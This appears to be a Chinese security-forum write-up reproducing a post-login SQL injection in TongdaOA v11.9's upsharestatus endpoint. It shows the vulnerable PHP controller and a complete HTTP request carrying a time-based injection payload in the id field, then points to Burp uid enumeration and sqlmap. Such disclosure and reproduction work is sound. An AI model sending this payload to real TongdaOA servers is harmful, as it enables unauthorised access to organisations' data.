问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
TongdaOA v11.9 upsharestatus 后台SQL注入漏洞
# TongdaOA v11.9 upsharestatus 后台SQL注入漏洞 ## 漏洞描述 TongdaOA v11.9 及以下版本中由于某些参数过滤不完善导致后台存在SQL注入漏洞 ## 漏洞影响 TongdaOA <= v11.9...
TongdaOA v11.9 upsharestatus 后台SQL注入漏洞 ====================================== 漏洞描述 ---- TongdaOA v11.9 及以下版本中由于某些参数过滤不完善导致后台存在SQL注入漏洞 漏洞影响 ---- TongdaOA <= v11.9 环境搭建 ---- ```plain https://cdndown.tongda2000.com/oa/2019/TDOA11.9.exe ``` 双击安装 ![img](https://shs3.b.qianxin.com/butian_public/f611800b7d3307df9971b7cd13e85e83636d0fdafb878.jpg) 漏洞复现 ---- 漏洞文件位 `webroot/general/appbuilder/modules/portal/controllers/WorkbenchController.php` ```php public function actionUpsharestatus() { Yii::$app->response->format = yii\web\Response::FORMAT_JSON; $data = modules\appdesign\models\AppUtils::toGBK($_POST); if (modules\portal\controllers\intval($data["uid"]) == $_SESSION["LOGIN_UID"]) { modules\portal\models\PortalWorkbench::updateAll(array("state" => "{$data["status"]}"), "id={$data["id"]}"); } else if ($data["status"] == 1) { modules\portal\models\PortalWorkbenchState::deleteAll(array("wids" => "{$data["id"]}", "uid" => "{$_SESSION["LOGIN_UID"]}")); } else { $Work = new modules\portal\models\PortalWorkbenchState(); $Work->wids = $data["id"]; $Work->uid = $_SESSION["LOGIN_UID"]; $Work->save(); } $dataBack = array("status" => 1, "msg" => modules\portal\controllers\_("操作成功")); $dataBack = modules\appdesign\models\AppUtils::toUTF8($dataBack); return $dataBack; } ``` ![img](https://shs3.b.qianxin.com/butian_public/f365059bf48281488c1019db07694bdeaef6ea0257039.jpg) 其中 `updateAll()` 函数并没有使用防止 SQL注入的 `sql_injection()` 来防止注入 `webroot/inc/conn.php` ![img](https://shs3.b.qianxin.com/butian_public/f8475743fa6625556ef4afb2c4a651ef1a619bd4f7ff5.jpg) 所以这里就出现了 id 参数存在注入的情况,请求包如下 ```plain POST /general/appbuilder/web/portal/workbench/upsharestatus HTTP/1.1 Host: Connection: close Content-Length: 36 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Cookie: __root_domain_v=.tongda2000.com; SID_12=5ea03399; USER_NAME_COOKIE=chenqiang; Hm_lvt_7cbefde9059536a2b96aaafc134d625c=1617014067,1617196083; _qddaz=QD.677915359373668; PHPSESSID=nso4iqhvp2qi464eoavk2fn0c0; OA_USER_ID=chenqiang; SID_15=ded66d80; LAST_OPERATION_TIME=1617242241 x-forwarded-for: 127.0.0.1 x-originating-ip: 127.0.0.1 x-remote-ip: 127.0.0.1 x-remote-addr: 127.0.0.1 uid=15&status=1&id=1;select sleep(4) ``` 注意 uid参数 要为当前用户的uid才能完成请求,可以使用 burp 遍历查看时间响应 例如这里使用官网的测试账户 uid 遍历出为 15 ![img](https://shs3.b.qianxin.com/butian_public/f859784619563724d32d9aa7b4784af3cea0660617bc0.jpg) 如果uid错误则不会出现时间延迟,将请求包放入 Sqlmap跑一下 ![img](https://shs3.b.qianxin.com/butian_public/f546739aac1178c1c48b415cbb16b8aa89db8481d0aea.jpg)
发表于 2024-07-12 18:44:35
阅读 ( 868 )
分类:
OA产品
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
456 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!